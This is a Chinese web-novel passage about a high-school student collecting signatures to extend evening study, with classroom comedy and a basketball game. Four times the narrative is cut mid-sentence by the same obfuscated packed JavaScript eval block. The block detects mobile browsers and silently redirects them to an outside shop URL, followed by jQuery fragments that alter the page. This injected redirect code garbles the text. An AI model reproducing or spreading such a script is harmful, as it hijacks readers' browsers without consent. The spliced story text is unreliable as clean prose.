林白正趴在桌上,这个学霸很少见他停下来过,总是静悄悄地鼓捣着些什么,虽然从不与学习相关,这还是第一次见他睡觉,眼下的乌青快挂到鼻侧了,也不知晚上在浪什么。
尖叫声、大笑声几乎要刺穿耳膜,楼板课桌都在轻微晃动,丁洛无奈叹息。吵闹真是一种全方位的骚扰,幸好此时不是冬天,气味上还算清新,教室挨着花园,风吹过时不时捎来一阵花香。
怎么一股酒味?
哪来的酒蒙子!?
丁洛环顾左右,没发现可疑对象,一旁的林白眼睛也没睁开,用手指了指讲台:“林醉新,江湖尊称林仙,完全对得起那名字,拿酒当水喝,他那保温杯里都是酒。”
丁洛看向林仙,普通中年男人形象,一副方框眼镜衬出几分书卷气,两边脸颊泛着红晕添了一分憨厚,只是那声音……一开口便是不容忽视的分量。
“这是一个什么形象?这是一个独立江头的诗人形象!眼前的景象是逐浪翻腾,喂!那个胖头鱼!戴眼镜的胖头鱼!不要学鱼搏击!”
这一嗓子当真气势如虹,丁洛感觉地板都在晃动,下意识扶了下课桌,胖头鱼孟子显默默低了头,生怕隔壁班的人伸头来看看哪个傻鱼被点名。
“写气图貌,既随物以宛转;属采附声,亦与心而徘徊。我们要读懂作者的内心世界,这是一个意气风发的心境……干什么!干什么!第5排的同学,人丑就不要前后左右骚扰!”
丑人脸色泛红,更丑了。
这位微醺的文人,攻击力强到没边,没人再敢作妖,各个挺直了腰杆仔细听课,生怕莫名多了个诨号,三年也甩不掉了。
文人产出的3D环绕音极强,甚至略带震感,隔壁两个班默默关上了门窗,下课铃声都显得绵柔,软绵绵响了半天,也没人敢催他。
“明天早读课有感情地朗读这篇课文,谁要是蚊子叫,我给他戴小蜜蜂,让大家一起欣赏,下课!”
林仙终于收起课本,晃晃悠悠走出了教室。英语老师已经在门口候着了,一群人等林仙走出教室门,抢着跑去厕所。
坐第一排的吴卓受这震天的嗓音迫害最深,揉了半天耳朵总算缓过来,“我靠,从没想到有一天会败给语文老师的战斗力,这嗓子打群架放他出去都能省一半力气
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340964|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
高汉乐呵呵地指着讲台,“咱们英语老师是个大美女。”
“你小子也不是书呆子嘛。”
美女安静地在黑板上写下自己的名字舒昀,多数人抬头看了一眼,关注点并不在美不美上,简单判断出这是个文静的老师,便又纷纷趴了回去,课还没开始,底下已经睡倒了一片。
话筒突然的尖锐声刺透下面一群睡觉的,那帮人跟蘑菇似的瞬间冒头,紧紧捂住耳朵。这老师硬件条件不敌林仙,但外挂很多,光小蜜蜂就挂了俩,指了指望着她发呆的高汉。
“我?”
高汉有点受宠若惊,但装还是要装的,一脸懵懂地看过去。
“Couldyoucleantheteacher’sdesk,please?”
高汉这下是真懵了,几分羞涩几分憨厚地挠了挠头。
美女老师叹了叹气,“可以请你帮忙擦下讲台吗?”
“好嘞,老师!”
美女指了指黑板上句子,“中英文各100遍。”
高汉嘴角咧到耳朵根,“好的,老师!”
吴卓扭着寸头朝后又抵了下桌子,“看看,不值钱的样。”
“那个剃了寸头的同学,从你开始做自我介绍吧,onebyone。”
吴卓那颗头总算安分下来,跟灌了铅似的沉沉地低着,身体一寸一寸地站起来。
“Myname……isWuZhuo,I……”
舒昀笑眼弯弯地看着吴卓,诡异的亲切十分不符合八中老师的形象,“可以谈谈你的梦想。”
“Mydremis……”
“Dream,/i:/要发出音。”
“Drem……”
“Repeatafterme:Dream.”
“Repeat……”
“No,no.Justtheword‘Dream’.Repeat:Dream.”
吴卓彻底懵了,但苏昀似乎比他更崩溃一些,精致的妆容也黯淡了,双手撑着讲台挤出笑容,“再试一次,看着我的嘴型,Dream。”
“Drem。”
苏昀的头也灌了铅,沉沉地低着,十多秒沉默后终于鼓起勇气再试一次,就这样这个单词重复了不下五十遍……
又是一次更长的沉默,角角落落里小声的嘲笑全都停了下来,大家都在等舒昀爆发,毕竟八中的老师不可能没点硬手段。
“这个单词1000遍。”
意料之中的结果,所有人松了口气,这点惩罚三支笔并排写,几十分钟也就搞定了,经验丰富根本不在怕。
意料之外的反应是舒昀用手擦了擦眼泪,那泪水越擦越多,黑色的眼线在眼底晕开,她彻底痛哭出来,这下班上的男生全炸了。
李佑这个暴脾气最先站起来一脚踹在吴卓椅子上,“吴卓!你他妈搞什么!”
其余人全都七嘴八舌骂了起来。
“有空看看医生吧,脖子上长那么大颗痘呢!“
“一个词学不会吗!平时都吃饲料吧!”
“几十遍也学不会,狗都能做你同桌了!”
高汉正嚷着呢,听到这话立刻反击,“不要伤及无辜啊!”
十几个男生同时围了上来,或打或骂或踢,吴卓被夹在中间,脸上涨红一片,终于扯着嗓子喊了出来,“Dream!”
舒昀的眼泪即刻停了,没有过渡,说收就收。
“好啦,”她开口,南方的温软语气,混合着刚哭过的鼻音,更添几分软乎乎的温柔,但并不减每个字的攻击力,“虽然你们的成绩上不了台面,品性还是不错的,以后至少能收好人卡。”
男生们满腔热血骤然凉了下来,木然地回到座位,一个个脑瓜子懵懵的。
不对劲,非常不对劲。
8. 晚自习
舒昀这技能这杀伤力,好像真不比林仙的魔音攻击差,再看她那温和不带攻击力的笑……
惹不得!
八中这帮老师,各显神通才能将课程继续下去,这样一对比起来,才发现老郑是多么清流的存在。
只有林白清楚老郑有多难搞。
“你是说想延长晚自习时间?”
老郑吹开浮在表面的茶叶,一口喝掉半杯茶,第三次起身去倒水。
“老师明白你想要加快进度,但是高一学生压力不宜过大,在校时间太长也不好管控,最好的方式是早点放学生们回家,免生事端。”
老郑虽然是一副好老师的天真模样,但还是很能看清现实,也很难说服,林白不死心坚持道:“底子差,更需要延长学习时间,高一打好基础,高三才有发力的可能。”
这话说出来自己都觉得牙酸,但也管不了这么多了,何晓丽坚持在房间里装监控,与其回家坐牢,不如留在学校里。
这话老郑倒是真听进去了,一副感动的模样,“林白,你能如此为同学们着想我很欣慰,但是这件事需要考虑到学校的实际情况,一方面学校需要调度师资管控晚自习纪律,另一方面学生太晚回去在路上很容易生事端。这事我需要和教导主任商量,同时也需要征询同学们的意见。”
老郑这人虽温和,实则铁板一块,各个角度都难以击破,顽固地坚守着自己的道理,林白只能暂时放弃,改变一件常规项事情并不容易,尤其是在学校这种地方,需要耐心等待一个机会。
每层办公楼与教学楼由一条走廊连接,靠近办公区的走廊尽头空旷干净,丁洛常跑这里来躲清净,却看了场热闹。
林白从办公室出来还在盘算着这事,一抬头看见丁洛靠在栏杆上,似笑非笑的模样是几个意思?偷听还在这么嚣张!
“干嘛!”
丁洛转身趴在栏杆上,懒懒说道:“不干嘛。”
故作姿态,装什么装,“切。”
林白走过去,视野从灰白色的走廊跳到楼宇间的户外,分不清谁才是被观望的那一个。巨大的榕树安静的延展绿意,融入淡蓝色的背景,一切像在油画里。零散的思绪很快被风吹散了,栏杆上保留着夏日的温度,林白也学着丁洛趴在上面。
“还是你会找地方。”
风太大,丁洛眯着眼睛,红色的头发在耳边飞扬,是淡蓝色背景里最耀扬的存在。
“干嘛?”
林白被晒得有点恍惚,丁洛的声音像蒸腾的水汽一样飘来,她突然转过头,阳光下眼睛是透明的琥珀色,脸上的线条倔强清冷,像只随时准备扎人的刺猬。
“不干嘛。”
林白转身假装看向远处,在巨大的绿色围场中间,操场简直是一处刑场,一小队人似流水般从跑道上缓缓流过,嘴里的口号还没喊出来就已经蒸发了。
“水能载舟,亦能覆舟,水就是人,人民就是力量,团结就是胜利。”
丁洛静静地看着林白嘴里念着乱七八糟的口号。
“你中邪了吗,热就回教室,别在这发癫。”
林白的脸被晒得发红,笑起来也是一副晕晕乎乎的傻样,“我知道了!只要学生团结起来,学校就得让步!”
林白拽着丁洛往教室冲,“走走走,去上课!”
推开教室虚掩的门,前排几个人瞬间弹起,“懂不懂规矩啊!走后门!前门留给那帮老登的!”
想从老郑这下手有点困难,林白一路盘算着如何从学生入手,如果有联名书,或许就可以实现目标,那就需要先打入班级内部。
抱着打入班级内部的想法,林白笑呵呵地关上门,绕道从后门进,心中盘算起该从谁先突破呢?
丁洛径直走到座位坐下,背影看起来也冷冰冰的,林白暗自摇头,这只刺猬先暂缓突破。
吴卓每次放学都很积极,也不知道是什么原因。而后排是一群平时毫无动静的人,这样的人反倒难以入手。
目标最终锁定开学没几天就被所有老师点过名的胖头鱼,孟子显。
这人话多,他的声音似乎始终是一种背景音的存在,从未间断过,林白假装不经意地走近他。
“林白!迎新晚会参不参加!”
林白还在纠结怎么打开话题,孟子显倒十分热情地先抓住他。
“我……”
要是搁以前,早就一口拒绝了,如今有求于人,难免做人低调些,思考再三,还是不想参加这玩意。
“我什么都不会,参加不了。”
“你这就低调了不是,就这张漂亮脸蛋,往台上站一站,大家也是爱看的。”
“那也站不了。”
“为什么?”
“会死在台上。”
“哈哈哈哈,学霸你比想象中好玩,有什么事找我吗?”
“额……”林白绞尽脑汁,“你表演什么节目?”
“我嘛?我和琳菲、佳琪、希宁表演舞蹈。”
“你也跳吗?”
林白心里佩服这些人开学没多久就能玩到一起,一面继续没话找话,没想到孟子显倒燃起来了。
“怎么?我可是C位!Breaking、Hip-Hop什么舞种我不会!”
“不是,没这意思,不过也确实没看出来……”
“所以你要加入吗?我们还差一人。”
“不参加。”
孟子显虽然爱聊,也没了耐性,“那你问这么老半天?”
“那个,”林白继续没话找话,“你们除了缺队友还缺什么吗?”
“不缺,你来跳嘛?”
“不跳。”
“你到底想干嘛?”
林白继续挖空心思,“你们缺摄像吗?我给你们拍摄,记录珍贵一刻。”
“佳琪是站姐。”
“站姐是什么?”
孟子显心中感慨没想到还有比自己废话更多的人,“得,您不混饭圈,别瞎掺合了,学习去吧,学霸。”
“显子!切号投票了!”
“哎,来了!”
孟子显一个闪现,蹦到几个女生那里,突然想起来什么,跑回来拉住林白问道:“几个手机号?”
“一个。”
孟子显一副看老年人的模样,“算了算了,过来吧,一个手机号在A平台能分裂4个小号,我说你来操作。”
看到林白也参与进来,几个女生都有些震惊,不过追星女对三次元男生没什么感觉,大大方方拉他坐下来,眼里只有又多了一票的激动。
“真行啊,显子,把咱们班学霸拉过来投票。”
“这可不是我拉的,是学霸硬缠着我,是吧学霸?”
林白不想接茬,“不是快投票了吗?”
“哦对对对,赶紧的!要是被G家那帮老鼠抢了第一,我得疯!”
林白确实不太懂追星,“这是什么比赛吗?”
“这是今年艺塔杯投票,我们家哥哥和G家竞争第一名,每天8:00投票通道开启,10:25截止,最后统计每日投票总数,票选出年度最受欢迎演员。”
林白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340965|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对这位哥哥倒是有所耳闻,随口问道:“你们哥哥不是跳舞的吗?”
“这是重点吗!我们哥哥六边形战士,什么都会!”
“哦,所以现在是个什么情况?”
“赢了!多了一千票,真不容易啊,从8点就盯着平台了。”
佳琪揉了揉眼睛,满眼的疲惫,“我们两家基本每日8:00准时守候在平台上,票数不分上下,到了倒计时节点两家的数据更是瞬间飙到上万票,持续了几天,双方都有点疲倦了。”
林白理了理规则,有点不解,“为什么不10点再投?反正就这么多号,投完也就不能投了,还能看看对方什么战斗力。”
孟子显想也没想反驳道,“那怎么行,对哥哥的爱是时刻守护!”
“哥哥拿到奖不就行了?”
佳琪在一旁仔细想了想,“其实林白说的也对,这样还能让对方放松警惕,最后几分钟反超岂不是更能气死他们!想想就爽!”
几人也都反应了过来,“也有道理,明天就这么干,我去联系后援会提建议,人多了才有效。”
孟子显虽然搞不懂林白曲曲绕绕的想干嘛,还是很开心多了一个追星搭子,笑着搂住他:“后援会觉得这法子有点损,但肯定能把对面气够呛,多亏了你啊学霸。”
“不客气,既然帮到你们了,帮我一个小忙不介意吧?”
孟子显也就客气了一下,没想到这人这么不要脸,笑还挂在脸上,心里已经开始骂人:“什么忙?”
“签个字就行,”林白拿出一张纸条。
“延长晚自习申请书?这是什么鬼?”
“字面意思。”
“我为什么要延长晚自习?”
“多点时间一起聊哥哥。”
孟子显认真地看了一眼林白,心想真是请神容易送神难,小心翼翼地问道:“这不是什么新型欺诈手段吧?”
“绝对不是,我用你哥哥的信誉担保。”
……
忙完了一通,第三节课终于上课了,申请书上多了四个签名,林白开心地将其夹到书中放在课桌里,一切稳妥后安心地趴在桌上准备小憩一会。
“三班那群垃圾,尽用恶心人的方式抢球!”
“可不是,下节课给他们点颜色看看。”
“那必须的!”
吴卓用力拽开椅子,哐当一声坐到了椅子上,连带着后面的桌子往后退了几公分,冰凉的桌沿撞到林白,课桌里的书也掉到地上。
“兄弟对不住,哥们我动静大了些。”
林白阴沉着脸将书捡起,很明显对这件事已经不爽很久了,丁洛斜撑着脑袋准备看热闹,视线下移,看到那张申请书。
还挺上道。
林白将申请书夹到书中放好,抬头换了副嘴脸,笑嘻嘻地拉开桌子,“卓哥我给你让点空,可不能再撞我了哦。”
“不是…..你正常点……”
物理老师韩浩一身腱子肉看着骇人,其实是个高需求宝宝,上课时必须所有人的注意力都放在他身上。
韩浩从讲台上冲了下来,抡圆了胳膊,结结实实邦邦两拳锤在吴卓身上,战斗力凶猛语气娇嫩。
“别说话了!都说话谁听我说!”
吴卓的寸头瞬间埋了下去,拱手抱拳表示一定认真听课。
林白递过去一张纸条,“在申请书上签字,否则浩哥会有第二次暴击。”
为了凸显狂拽炸的气势,吴卓模仿丁洛的大气笔锋,写出来像是张牙舞爪的螃蟹:“哥从不受威胁!”
9. 篮球
林白将课桌一点点往前推,吴卓十分配合地将座椅往前挪,两人越靠越近,在吴卓被两张桌子夹住仅剩一点空间时,林白贴在他身后小声说到,“建议你低头,别看了。”
吴卓睁圆了眼睛盯着韩浩,“一点心机全使你哥哥身上了,告诉你,想害我没门!”
“砰”地一声闷响,矿泉水瓶盖冲到韩浩结实的后背上,弹到地上滚动几圈停不下来,韩浩反应很快,即刻转身看向下面,而只有吴卓死死的盯着他,旁边还有一个空的矿泉水瓶。
吴卓像被电击了一样猛得坐直,想转身指向林白,却被前后桌子夹得毫无缝隙,完全转不了身,只能扭动着寸头疯狂控诉。
“不是……跟我无关啊老师……”
韩浩大步走了过来,捧住吴卓的脸,“目光,锁定我,手脚头都不要有小动作,OK!?”
吴卓点点头,待韩浩转过身去,偷偷将一个纸团扔到林白桌上。
纸条上两个大字力透纸背,雄劲有力:
无耻!
林白轻轻捏了捏矿泉水瓶,吴卓条件反射般浑身紧绷,立即拦住。
“我放学后真有事!”
“什么事?”
“给我奶奶和弟弟做饭。”
林白收回了手,沉稳说道:“好孙子,做完回来。”
“少放屁!”
“先签字,剩下的我解决。”
韩浩在讲台上念着公式,突然将头往下面一探,吴卓觉得这一瞬间比任何恐怖片都恐怖!被这两个阴湿鬼缠上要少活十年!悲愤地签完字扔给林白。
体育课还没上课,一些人围着老师请假,老师挨个问理由。林白掀开裤腿,露出几块扎眼的乌青,还是开学时留下的。
了解原因后老师并没有做任何周旋,直接领着这群人到器材室。
“动不了就坐着干活,下课前每人要搓完50块肥皂,凭肥皂沫批假。”
一群人看着垒成堆的肥皂瞬间傻眼。
付琳菲心疼地看着刚做完美甲的手,“老师有手套吗,肥皂也太伤手了。“
“没有,需要的话自行去便利店买,友情提示据此两公里哦,搓不完50块肥皂这节课算你们缺勤。”
又一个难搞的。
众人心中悲愤,也只能默默排队拿肥皂。
器材室位于操场边缘,由铁皮搭建,里面又闷又热,只有一台大风扇为几人续命。每人拿好肥皂、刨子,便坐在小马扎上围着风扇开始苦命地搓肥皂。一开始还有人聊八卦,话题逐渐转为今后再也不请假了,再后来连说话的力气也没有了,只有风扇声和刨子声交替吵闹。
林白将小马扎挪到离风扇最远的角落,挨着一个叫闫宇的男生坐下。青春期抽个的孩子都很瘦,但闫宇瘦得瘆人,两只胳膊看起来稍微用力些就会有断裂的风险,林白时不时担忧地看一眼。
这里只吹到一点风,热气从地面上涌,很快额上便布满了大颗汗珠,林白忍不住问道:“你不热吗,为什么不靠近风扇一点?”
闫宇的速度很慢,慢慢地将肥皂对齐刨子,用很轻很轻的力道一点点刨出细碎,说话也慢慢的,“我不能对着风吹,身体不是很好,容易受凉。”
闫宇在班级是个绝对安静的存在,很小见他说话,总是静静地坐在角落,但林白发现他好像并不难交流。
“你平常喜欢什么?”
这个问题好像很难回答,闫宇静静地想了会,“我的精力很有限,大部分时间喜欢静静地坐着或者躺着。”
他的表情很平静,只偶尔突然触眉,肤色苍白没有血色,发色是淡淡的金色,清瘦让他的面部轮廓显得锋利,但五官都圆润柔和,很像漫画里的男孩。他的疼痛或许不易察觉,但是林白能感受到,巨大的痛苦正折磨着他。
林白没有拿出口袋里的申请书,只默默加快了速度,塑料盆里很快堆满了肥皂沫。
“你为什么想延长晚自习?”
林白震惊地回想了下自己说过的话,没对他提起过申请书的事啊。
闫宇很敏锐地觉察到林白的反应,“听到你们讨论这件事了。”
“这事你可以不参与,早点回家休息吧。”
“我愿意签字。”
林白有点迷惑地听他继续说道:“学校更适合休息,也谢谢你的帮忙。”
闫宇指了指脚边仅剩下的3块肥皂。
林白没有多问,手上速度起飞,欠欠地回道:“顺手的事。”
篮球场上两队人正叫嚣得厉害,也不知道李佑怎么惹到对面,只要碰到球便被几人围住。对面的高个眼睛几乎长他身上,但凡李佑带球传递,必会上前掏球,每次手一伸出去,李佑脸色一变,好几次吃痛摔倒。
高个的手速很快,林白看出来那人手不干净。
几次下来,李佑再压不住暴脾气,脏话混着火气全炸了出来,一条腿负了伤,半挂在吴卓身上依旧是主力输出,对方拳头砸过来,便往吴卓身上靠靠,“玩球把心玩脏了,你这辈子也就这点出息,low货!”
对面的高个又高又壮,尤其脸上有一道长疤,透着一股狠劲,他抬手指了指李佑,声音不大,却压得周遭安静了下来,“兄弟,全场最脏的就是你的嘴。”
李佑明显有点发怵,一张嘴依旧死硬,“我只喷小人呢!还不是因为你做小动作!”
吴卓往后撤了几步,将两人拉开点距离,“行了,我们中场休息。”
李佑一把推开吴卓,一瘸一拐地坐到路边,“我一抬手他就掐我,怎么打!”
“你不能掐回去吗?”
“下作的把戏我才不稀罕!况且他那肉跟铁板一样,掐不动!”
林白假装不经意的路过,“呦,好久没打球了,现在流行边打边掐?”
李佑身残志坚,伸出一条腿踢向林白,“关你什么事,哪凉快待哪!”
“哦。”林白模仿高个的打球手法,朝一旁很快掏了一下。
吴卓叫住了林白,“你会不会打?来替补吧。”
“不会。”
李佑见林白又是一副拽屁样,努力伸出一条腿继续踢他,“有什么条件就提,狗东西拽什么!”
林白插兜俯身看他,“什么条件都行吗?”
李佑气得弹跳起来,被吴卓按住,“行啦!先让他上场,你这破腿消停会。”
吴卓将林白拉到一旁,“你小子最阴,有什么好办法?”
林白退后了一些,歪着头看着他,“我很阴吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340966|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“聪明。”
吴卓挤出个笑容。
林白插兜晃了晃,“没什么好办法,看不惯你们被人欺负而已。”
吴卓再受不了,将人一把箍住,“少得瑟点吧!他们队主要防着这两人,疤子个高挡人一流,拿到球第一时间甩开他!矮子速度快进攻猛,别硬防,没机会就立刻传给我,我贴着你走,球别贪!”
林白挣脱出来,轻轻拍拍吴卓后背,“知道了,放轻松。”
吴卓明显僵硬了,“开学打你其实没打错。”
林白个子不算出众,上场后对面几个人围了上来,气场一下被压了下来,
李佑捏紧手里的矿泉水瓶,“到底谁说这小子会打球的?”
疤子懒懒地看着眼前的白净小生,“别被打哭了哦。”
吴卓带球运到三分线外,矮子很快扑了上来,吴卓没有硬守,将球向后一拉,传给了林白。
林白接到球刚迈开腿,疤子已经在前面挡的严严实实,那人着实又高又壮,将林白衬得更是小小一只,林白左右假动作晃了几下,疤子只需稍稍身形一侧,便立刻挡住了去路。
额前的碎发被打湿一片,林白的表情依旧平静,李佑在场外不安地来回走动,“就不该相信这小子,弱不禁风的小白脸!”
林白快速转身,果然疤子动作更快,已经挡在他身侧,不过球已经从林白背后传走,一旁的高汉等了老半天,接到球后转身起跳投篮,球进了。
全场欢呼。
疤子摆了摆手,叉腰站在林白面前,“轻敌了,给你小子钻了空。”
林白只嘴角勾了勾,并未理会他,转身与高汉击掌。
疤子寸步不离的贴在林白身边,无论林白怎么用假动作换方向,身型差让他很难躲过对面的防御,场面几度陷入僵持。
但林白始终在做各种尝试,突然扭身带球向外传,疤子果然大步横移,双臂高高扬起。林白猛然后退,一个疾转从对方身侧掠过,迅速跑到三分线外,速度极快。
矮子反应过来时像一头豹子冲了上去,靠近林白时高高跳起不管不顾地撞了上去,但还是慢了一步,球已从林白手里抛出,在空中画了个弧线,砰得一声砸进了篮筐。
全场爆发呐喊声。
漂亮!李佑跳起来在空中转了个圈,朝着疤子几人猴叫。
对面几人收起了笑意,不动声色地走到林白身边用力撞了他一下。
吴卓大声喊了一声,随即将球传给了林白,疤子很快冲了上来,双手几乎贴在林白两侧。林白身体微微的弓起,汗水沿着鬓角大颗大颗滑落,突然迈出左脚,整个身体明显的向□□斜,疤子横出半个身子拦在林白左侧,而林白此时已经猛得朝右边冲出去,疤子反应过来时直接伸手拦人,但速度到底慢了一点,只碰到林白腰部一点点,而那一瞬间下意识的反应,他用力掐住了林白的腰部,速度很快,看起来只是手很快扫过。
林白吃痛,脚步晃了一下但速度不减。矮子从篮下冲了过来,林白收住脚步迅速停了下来,身体弓住,双腿极致下蹲,很快整个人弹射而起,矮子冲上来时两人正好撞上,林白轰得一声倒在地上,蜷缩起身体,脸色苍白。
球进了,场上爆发出更热烈的呼喊。
10. 刺猬扎人
吴卓、高汉两人冲到林白身边,李佑也骂骂咧咧冲上场。
“没事吧!玩球不要命?”
矮子在地上滚了几圈,爬起来摊摊手表示没犯规。
林白依旧一声不吭,只蜷缩着身体不停地颤抖,汗水沿着鬓角打湿了一片,他抿起嘴紧闭双眼,过了一段时间,似乎是一阵痛感终于缓过,终于睁开眼睛扶着李佑站了起来。
疤子在不远处冷冷地看着,林白踉踉跄跄走了过去,为他牵了牵8号球衣,小声说了一句:“球技不错,不过,你也不想养成掐人的习惯吧。”
不要命了,又去招惹人干嘛!吴卓几人围了上来将林白挡在身后,冲着疤子喊道,“怎么说啊!”
场上安静了一瞬,疤子抬头看了看林白,许久勾起嘴角挤出笑意,“你们赢了。”
李佑哦一声狂吼起来,拍着胸脯朝着疤子一阵猴叫,被人嫌弃地推开才停止了怪叫,又蹦蹦跳跳跑到林白身边。
林白正盘腿安安静静地坐在地上喝水,李佑从背后将人一把揽在怀里,“好小子,阴坏阴坏的,疤子也被你耍得团团转。”
林白咳嗽了几声,喝口水压了压,缓缓将矿泉水放下,从口袋掏出一张纸扔给了李佑,“整个班级的人签满。”
李佑一字一顿地念了出来:“自愿延长晚自习申请书!?你脑壳有问题吧!?”
林白起身往教室方向走,淡淡丢下来一句,“这就是我的条件。”
身后又响起一阵猴叫。
去食堂的路实在太远了,尤其是刚刚经历了体育课的折磨,挪动一步都需要耗费巨大的意志力,所有人都像脱水的鱼在烈日下艰难滑行。
身后传来一阵铃声,在校园里骑车打铃本是一个很骚气的操作,但人群默契地分开两队让路,李佑骑着他那山地自行车“嗖”一声从路两边虔诚而炙热的目光中穿过。
他这是去抢饭了,背负着全班的期望。
食堂的菜虽丰富,学生们还是会有一套自己的排行榜,榜一的猪肘子饭是全校必争,而这场争斗的最后落在每个班的先锋队身上,因为第一个到食堂的人都会为全班点上猪肘子饭,渐渐地吃猪肘子饭成了一种班级荣誉。
“佑哥搞快一点,球赢了,猪肘子饭也要赢!”
李佑顾不上一条腿受伤,两轮子踩冒了烟,伸长了脖子往前冲。
吴卓搂住林白感叹,“这小子一股子牛劲,“
林白点点头,语气真挚,“老黄牛精神确实珍贵,这么好的人才应该着重开发利用。”
吴卓:“所以?”
林白转头,一副纯良的长相,眼里同样闪烁着某种炙热,只不过应该不仅仅是对猪肘子饭的向往,“如果能送饭到班就更好了。”
好一股资本家划分工业区的味道……吴卓将搭在林白肩膀上的胳膊放下了下来,默默往旁边挪了几步。
不知做了多久的思想斗争,李佑终究把自己卖了出去,每天下课总是第一个冲出教室去抢饭,送饭合约长达一年,考核期1个月,换申请书的签名。
上午最后一节课一张午饭订单从前传到后,其实线上群聊就能解决的事,但是所有人都默契地选择这种原始方式,刺激。
而在英语听写课上传递订单那是刺激的N次方。
听写课开始前的课间往往很安静,所有人都在埋头做小抄。有人用极细针管笔在橡皮上写满小字,有人将胶带上的小抄贴在一切意想不到的地方,更多人懒得费这么大脑力,写在纸条上,藏在衣袖里或者压在大腿下面,能不能抄到全靠反侦察能力。
舒昀:“strategy。”
报听写时舒昀喜欢在教室里来回走动,发现学生不同的作弊方式是她的乐趣,比如有的人八百年没买过文具,桌上却有一块方方正正,大得离谱的新橡皮,拿起来一看,果然背面都是词。舒昀将橡皮扔到讲台上,后排响起一阵叹气。
一点新意都没有。
吴卓听音辨位,舒昀此刻应该在右后方,悄悄掏出衣袖里的纸条。
舒昀:“pressure。”
纸条刚露出个尖,舒昀的声音已经紧贴着后背响起,吴卓感觉后背的毫毛一瞬间全立了起来,而一双手已经重重地敲在桌面上……
心跳骤停!
吴卓立即抬起左手假装挠头,纸条沿着小臂滑了下去,虚惊一场。
舒昀从讲台前面绕了过去,往第三组走过去,还未走过吴卓的身旁,订单的纸条已经砸了过来。
靠!也不看着点时机扔!
吴卓心中痛骂林白每次都在老师眼皮子底下扔纸条,立刻换了个手挠头,将纸条压在手臂下面。
刚准备舒口气,舒昀的脸就出现在面前……
舒昀:“头痒啊?”
吴卓:“哈哈哈……今天回去洗头…哈哈哈...”
舒昀:“responsibility。”
吴卓浑身刺挠地撞了下后面,“不能看着点扔吗!”
林白:“也记得洗澡哦。”
吴卓:“你大爷的,吃个屁叉烧饭,就该饿死你!”
一双手有力地拍在寸头上,无声地将头扭过来,舒昀看着吴卓温温柔柔地说道:“上黑板听写。”
吴卓上台前不忘将纸条扔给李佑,功德圆满。
八中的纪律并没有管得很严,相反是非常松,迟到早退都不太管,老郑除了上课时间很少来班上转悠。当然学生们也都有自己的底线,小打小闹内部解决问题,迟到早退也都尽量低调,绝不让马海宁和门口大爷抓到,大家默契地维护着这份微妙的平衡,不给彼此找麻烦。
林白每天晚上都会早走一会,丁洛则是上午晚到一两节课,只是今天不知何事没到下课时间也收拾东西往外走了。
经过篮球赛一战,林白在班上混开了,日子过得有点惬意,人胆肥了容易开始犯贱。
明明分开走就能给彼此留个体面,林白偏凑上去问道:“一起钻狗洞?”
丁洛似笑非笑地看了他一眼,手指向走廊尽头,“老郑叫你呢。”
林白:“哪儿?”
顺着手指的方向看过去,老郑果然从楼梯转角处走过来。
林白:“眼真尖啊,走走走,快走。”
身旁一片寂静,人早走了。
无情。
林白选择这个时间走也是多次摸索后的结果,门口的大爷通常在这个时间段听新闻,所以可以沿着小
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340967|199320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道放心大胆地直奔狗洞。
洞口被堵了。
应该是电瓶车,林白准备用力推开,刚碰上,一阵尖锐的报警声响起。
“谁啊!不准乱停车!”
大爷举着强光手电筒冲了出来,什么叫“眼前一亮”,林白算是体会到了,草丛里窜出几只野猫估计都以为天亮了,林白笔挺挺得趴地上一动不敢动。
真够阴的!
大爷往前走了两步没听见动静也就回去了,林白松了一口气,只是这狗洞钻不了,无奈还是只能走爬墙的老路子。3米高的墙,上次没摔残废也不是纯靠运气,墙角下边全是杂草,土地也松软,林白猛捶了几下都成筛子的双腿,两眼一闭就是跳。
